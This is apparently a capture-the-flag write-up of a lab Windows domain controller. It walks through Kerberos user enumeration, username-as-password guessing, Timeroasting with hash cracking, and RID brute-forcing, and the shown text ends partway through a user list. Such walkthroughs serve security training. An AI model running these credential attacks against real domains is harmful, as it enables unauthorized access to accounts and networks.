Overview
- Type Machines
- OS Windows
- Severity Medium
- Creator xct
- Release date 2024 Nov 21 (JST)
Enumeration
Start the instance via Discord, wait around 5 minutes for the machine to start all services and let’s go:
10.10.84.140
Nmap
$ nmap -sCV -Pn -p- --min-rate=1000 -T4 10.10.84.140
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-22 08:29 JST
Nmap scan report for 10.10.84.140
Host is up (0.26s latency).
Not shown: 65516 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_9.5 (protocol 2.0)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-02-21 23:33:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after: 2026-02-15T07:26:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: shibuya.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-15T07:26:20
|_Not valid after: 2026-02-15T07:26:20
|_ssl-date: TLS randomness does not represent time
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=AWSJPDC0522.shibuya.vl
| Not valid before: 2025-02-18T08:24:25
|_Not valid after: 2025-08-20T08:24:25
|_ssl-date: 2025-02-21T23:35:03+00:00; 0s from scanner time.
| rdp-ntlm-info:
| Target_Name: SHIBUYA
| NetBIOS_Domain_Name: SHIBUYA
| NetBIOS_Computer_Name: AWSJPDC0522
| DNS_Domain_Name: shibuya.vl
| DNS_Computer_Name: AWSJPDC0522.shibuya.vl
| DNS_Tree_Name: shibuya.vl
| Product_Version: 10.0.20348
|_ System_Time: 2025-02-21T23:34:23+00:00
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49826/tcp open msrpc Microsoft Windows RPC
54150/tcp open msrpc Microsoft Windows RPC
57535/tcp open msrpc Microsoft Windows RPC
Service Info: Host: AWSJPDC0522; OS: Windows; CPE: cpe:/o:microsoft:windows
- Seems a domain controler (88/tcp kerberos is open)
- Add
AWSJPDC0522.shibuya.vl.shibuya.vlin in /etc/hosts
Way 1 - Pre-auth Bruteforcing (purple) (red)
We set our kerberos configuration:
$ cat /etc/krb5.conf
[libdefaults]
default_realm = SHIBUYA.VL
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
dns_canonicalize_hostname = false
dns_lookup_realm = false
dns_lookup_kdc = true
k5login_authoritative = false
[realms]
SHIBUYA.VL = {
kdc = awsjpdc0522.shibuya.vl
admin_server = shibuya.vl
default_admin = shibuya.vl
}
[domain_realm]
.shibuya.vl = SHIBUYA.VL
We bruteforce through the Kerberos pre-authentication to get a users list:
$ ./kerbrute_linux_amd64 userenum --domain shibuya.vl --dc awsjpdc0522.shibuya.vl /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 02/22/25 - Ronnie Flathers @ropnop
2025/02/22 09:28:44 > Using KDC(s):
2025/02/22 09:28:44 > awsjpdc0522.shibuya.vl:88
2025/02/22 09:28:48 > [+] VALID USERNAME: purple@shibuya.vl
2025/02/22 09:28:52 > [+] VALID USERNAME: red@shibuya.vl
...
Found
purpleandred
Try the username as password for authentication:
$ nxc smb awsjpdc0522.shibuya.vl -u 'purple' -p 'purple'
SMB 10.10.84.140 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.10.84.140 445 AWSJPDC0522 [-] shibuya.vl\purple:purple STATUS_LOGON_FAILURE
$ nxc smb awsjpdc0522.shibuya.vl -u 'red' -p 'red'
SMB 10.10.84.140 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB 10.10.84.140 445 AWSJPDC0522 [-] shibuya.vl\red:red STATUS_LOGON_FAILURE
Failed
Try to authenticate with Kerberos instead of default NTLM (which needs the FQDN instead of the IP):
$ nxc smb awsjpdc0522.shibuya.vl -u 'purple' -p 'purple' -k
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\purple:purple
$ nxc smb awsjpdc0522.shibuya.vl -u 'red' -p 'red' -k
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
Found
purple:purpleandred:red
Way 2 - Timeroasting (purple) (red)
Note
- snovvcrash - On the Applicability of the Timeroasting Attack 2024
- Tom Tervoort - TIMEROASTING, TRUSTROASTING AND COMPUTER SPRAYING WHITE PAPER 2023
- Tom Tervoort - Timeroasting: Attacking Trust Accounts in Active Directory 2023
- SecuraBV - Timeroast.ps1
- Giulio Pierantoni - Targeted Timeroasting: Stealing User Hashes With NTP 2025
- OffsecDeer - TargetedTimeroast.ps1
We download and use the latest NetExec v1.4.0 including the Timeroast module by @Disgame in #311:
$ ./nxc smb awsjpdc0522.shibuya.vl -M timeroast
SMB 10.10.65.222 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
TIMEROAST 10.10.65.222 445 AWSJPDC0522 [*] Starting Timeroasting...
TIMEROAST 10.10.65.222 445 AWSJPDC0522 1000:$sntp-ms$d7a173fd8f2ca938f254d79ea183fb3f$1c0111e900000000000a13824c4f434cebaebbb489b8348fe1b8428bffbfcd0aebaed56d35c03006ebaed56d35c0808e
TIMEROAST 10.10.65.222 445 AWSJPDC0522 1608:$sntp-ms$c45d158c2c63e6a516a56fc62b43c84e$1c0111e900000000000a13854c4f434cebaebbb4895c0fcbe1b8428bffbfcd0aebaed570ed746f3debaed570ed74be17
TIMEROAST 10.10.65.222 445 AWSJPDC0522 1610:$sntp-ms$29daae1402253fa6b0fd46ee44ad2524$1c0111e900000000000a13854c4f434cebaebbb488e38a7ee1b8428bffbfcd0aebaed570f0d2ffecebaed570f0d33aa5
TIMEROAST 10.10.65.222 445 AWSJPDC0522 1611:$sntp-ms$cf0d3a0e243b5c5829ab27d85ac865b0$1c0111e900000000000a13854c4f434cebaebbb48aac0d39e1b8428bffbfcd0aebaed570f29b7033ebaed570f29bcc79
Then we use the Hashcat beta version including the mode 31300 for MS SNTP:
$ wget https://hashcat.net/beta/hashcat-6.2.6%2B813.7z
$ 7z x hashcat-6.2.6+813.7z
$ cat ntp.hash
$sntp-ms$d7a173fd8f2ca938f254d79ea183fb3f$1c0111e900000000000a13824c4f434cebaebbb489b8348fe1b8428bffbfcd0aebaed56d35c03006ebaed56d35c0808e
$sntp-ms$c45d158c2c63e6a516a56fc62b43c84e$1c0111e900000000000a13854c4f434cebaebbb4895c0fcbe1b8428bffbfcd0aebaed570ed746f3debaed570ed74be17
$sntp-ms$29daae1402253fa6b0fd46ee44ad2524$1c0111e900000000000a13854c4f434cebaebbb488e38a7ee1b8428bffbfcd0aebaed570f0d2ffecebaed570f0d33aa5
$sntp-ms$cf0d3a0e243b5c5829ab27d85ac865b0$1c0111e900000000000a13854c4f434cebaebbb48aac0d39e1b8428bffbfcd0aebaed570f29b7033ebaed570f29bcc79
$ ./hashcat-6.2.6/hashcat.bin -m 31300 ntp.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6-813-g686bc227c) starting
$sntp-ms$29daae1402253fa6b0fd46ee44ad2524$1c0111e900000000000a13854c4f434cebaebbb488e38a7ee1b8428bffbfcd0aebaed570f0d2ffecebaed570f0d33aa5:purple
$sntp-ms$c45d158c2c63e6a516a56fc62b43c84e$1c0111e900000000000a13854c4f434cebaebbb4895c0fcbe1b8428bffbfcd0aebaed570ed746f3debaed570ed74be17:red
Found:
- 1610:$sntp-ms$29daae1402253fa6b0fd46ee44ad2524$1c0111e900000000000a13854c4f434cebaebbb488e38a7ee1b8428bffbfcd0aebaed570f0d2ffecebaed570f0d33aa5:purple
- 1608:$sntp-ms$c45d158c2c63e6a516a56fc62b43c84e$1c0111e900000000000a13854c4f434cebaebbb4895c0fcbe1b8428bffbfcd0aebaed570ed746f3debaed570ed74be17:red
- 1610 is the RID of purple so found
purple:purple- 1608 is the RID of purple so found
red:red
RID Brute-forcing
Get the users list:
$ nxc smb awsjpdc0522.shibuya.vl -u 'red' -p 'red' -k --rid-brute 10000
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Windows Server 2022 Build 20348 x64 (name:AWSJPDC0522) (domain:shibuya.vl) (signing:True) (SMBv1:False)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] shibuya.vl\red:red
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 498: SHIBUYA\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 500: SHIBUYA\_admin (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 501: SHIBUYA\Guest (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 502: SHIBUYA\krbtgt (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 512: SHIBUYA\Domain Admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 513: SHIBUYA\Domain Users (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 514: SHIBUYA\Domain Guests (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 515: SHIBUYA\Domain Computers (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 516: SHIBUYA\Domain Controllers (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 517: SHIBUYA\Cert Publishers (SidTypeAlias)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 518: SHIBUYA\Schema Admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 519: SHIBUYA\Enterprise Admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 520: SHIBUYA\Group Policy Creator Owners (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 521: SHIBUYA\Read-only Domain Controllers (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 522: SHIBUYA\Cloneable Domain Controllers (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 525: SHIBUYA\Protected Users (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 526: SHIBUYA\Key Admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 527: SHIBUYA\Enterprise Key Admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 553: SHIBUYA\RAS and IAS Servers (SidTypeAlias)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 571: SHIBUYA\Allowed RODC Password Replication Group (SidTypeAlias)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 572: SHIBUYA\Denied RODC Password Replication Group (SidTypeAlias)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1000: SHIBUYA\AWSJPDC0522$ (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1101: SHIBUYA\DnsAdmins (SidTypeAlias)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1102: SHIBUYA\DnsUpdateProxy (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1103: SHIBUYA\t1_admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1104: SHIBUYA\t2_admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1105: SHIBUYA\t0_admins (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1107: SHIBUYA\svc_autojoin (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1108: SHIBUYA\shibuya (SidTypeGroup)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1109: SHIBUYA\Leon.Warren (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1110: SHIBUYA\Graeme.Kerr (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1111: SHIBUYA\Joshua.North (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1112: SHIBUYA\Shaun.Burton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1113: SHIBUYA\Gillian.Douglas (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1114: SHIBUYA\Kelly.Davies (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1115: SHIBUYA\Conor.Fletcher (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1116: SHIBUYA\Karl.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1117: SHIBUYA\Tracey.Wood (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1118: SHIBUYA\Mohamed.Brooks (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1119: SHIBUYA\Wendy.Stevenson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1120: SHIBUYA\Gerald.Allen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1121: SHIBUYA\Leigh.Harrison (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1122: SHIBUYA\Brian.Elliott (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1123: SHIBUYA\Ashleigh.Hancock (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1124: SHIBUYA\Kevin.Green (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1125: SHIBUYA\Mathew.Richardson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1126: SHIBUYA\Stanley.Johnson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1127: SHIBUYA\Sophie.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1128: SHIBUYA\Thomas.Wilson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1129: SHIBUYA\Jacqueline.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1130: SHIBUYA\Georgia.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1131: SHIBUYA\Georgia.Kelly (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1132: SHIBUYA\Alan.Green (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1133: SHIBUYA\Mohammad.Todd (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1134: SHIBUYA\Graham.Francis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1135: SHIBUYA\Elaine.Roberts (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1136: SHIBUYA\Ross.Allen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1137: SHIBUYA\Grace.Humphries (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1138: SHIBUYA\Roy.Shepherd (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1139: SHIBUYA\Emma.Noble (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1140: SHIBUYA\Ryan.Harris (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1141: SHIBUYA\Suzanne.Webb (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1142: SHIBUYA\Edward.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1143: SHIBUYA\Ellie.Chapman (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1144: SHIBUYA\Bradley.Evans (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1145: SHIBUYA\Grace.King (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1146: SHIBUYA\Eric.Barnes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1147: SHIBUYA\Tracey.Holmes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1148: SHIBUYA\Joan.White (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1149: SHIBUYA\Leslie.Osborne (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1150: SHIBUYA\Frederick.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1151: SHIBUYA\Joseph.Rowe (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1152: SHIBUYA\Melanie.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1153: SHIBUYA\Jodie.Jenkins (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1154: SHIBUYA\Bethany.Watson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1155: SHIBUYA\Cameron.Begum (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1156: SHIBUYA\Jenna.Abbott (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1157: SHIBUYA\Karl.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1158: SHIBUYA\Arthur.Walker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1159: SHIBUYA\Sheila.Roberts (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1160: SHIBUYA\Tom.Barnes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1161: SHIBUYA\Stuart.French (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1162: SHIBUYA\William.Johnson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1163: SHIBUYA\David.Poole (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1164: SHIBUYA\Charlene.Walsh (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1165: SHIBUYA\Jessica.Gordon (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1166: SHIBUYA\Francesca.Day (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1167: SHIBUYA\William.Brown (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1168: SHIBUYA\Sylvia.Doyle (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1169: SHIBUYA\William.Thomas (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1170: SHIBUYA\Craig.Owen (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1171: SHIBUYA\Leon.Daly (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1172: SHIBUYA\Jacob.Preston (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1173: SHIBUYA\Lynn.Pearson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1174: SHIBUYA\Antony.Howell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1175: SHIBUYA\Mary.Grant (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1176: SHIBUYA\Shirley.Matthews (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1177: SHIBUYA\Louis.Bond (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1178: SHIBUYA\Norman.Clayton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1179: SHIBUYA\Rhys.Moore (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1180: SHIBUYA\Lynn.Gregory (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1181: SHIBUYA\Abdul.Mason (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1182: SHIBUYA\Diana.Rowe (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1183: SHIBUYA\Olivia.Houghton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1184: SHIBUYA\Katy.Webster (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1185: SHIBUYA\Judith.Black (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1186: SHIBUYA\Henry.Gallagher (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1187: SHIBUYA\Ryan.Horton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1188: SHIBUYA\Dylan.Booth (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1189: SHIBUYA\Nathan.Matthews (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1190: SHIBUYA\Georgia.Carter (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1191: SHIBUYA\Derek.Wade (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1192: SHIBUYA\David.Cole (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1193: SHIBUYA\Lynn.Harrison (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1194: SHIBUYA\Rachel.Flynn (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1195: SHIBUYA\Jade.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1196: SHIBUYA\Hannah.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1197: SHIBUYA\Carole.Barrett (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1198: SHIBUYA\Brenda.Peacock (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1199: SHIBUYA\Robin.Stevens (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1200: SHIBUYA\Victoria.Jones (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1201: SHIBUYA\Victor.Clarke (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1202: SHIBUYA\Joel.Bailey (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1203: SHIBUYA\Stanley.Lowe (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1204: SHIBUYA\Billy.Williams (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1205: SHIBUYA\Lorraine.Barber (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1206: SHIBUYA\Nicole.Walsh (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1207: SHIBUYA\Mohamed.Daniels (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1208: SHIBUYA\Joseph.Woods (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1209: SHIBUYA\Elliott.Hill (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1210: SHIBUYA\Marie.Campbell (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1211: SHIBUYA\Cheryl.Patel (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1212: SHIBUYA\Samuel.Curtis (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1213: SHIBUYA\Dennis.Little (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1214: SHIBUYA\Rachael.Taylor (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1215: SHIBUYA\Helen.Walton (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1216: SHIBUYA\Richard.Stokes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1217: SHIBUYA\Hilary.Collins (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1218: SHIBUYA\Christopher.Brookes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1219: SHIBUYA\Max.Day (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1220: SHIBUYA\Marcus.Stevenson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1221: SHIBUYA\Leon.Murray (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1222: SHIBUYA\Carly.Franklin (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1223: SHIBUYA\Luke.Nash (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1224: SHIBUYA\Terry.Saunders (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1225: SHIBUYA\Callum.Walker (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1226: SHIBUYA\Roger.Mills (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1227: SHIBUYA\Elliott.Page (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1228: SHIBUYA\Barry.Green (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1229: SHIBUYA\Jill.Clarke (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1230: SHIBUYA\Vanessa.Harris (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1231: SHIBUYA\Ross.Smith (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1232: SHIBUYA\Jane.Stewart (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1233: SHIBUYA\Gemma.Simpson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1234: SHIBUYA\Donald.Holmes (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1235: SHIBUYA\Tracy.Ferguson (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1236: SHIBUYA\Damien.Dixon (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1237: SHIBUYA\Geraldine.Herbert (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1238: SHIBUYA\Sarah.Warner (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1239: SHIBUYA\Bryan.Watts (SidTypeUser)
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 1240: SHIBUYA\Hayley.Morgan (SidTypeUser)
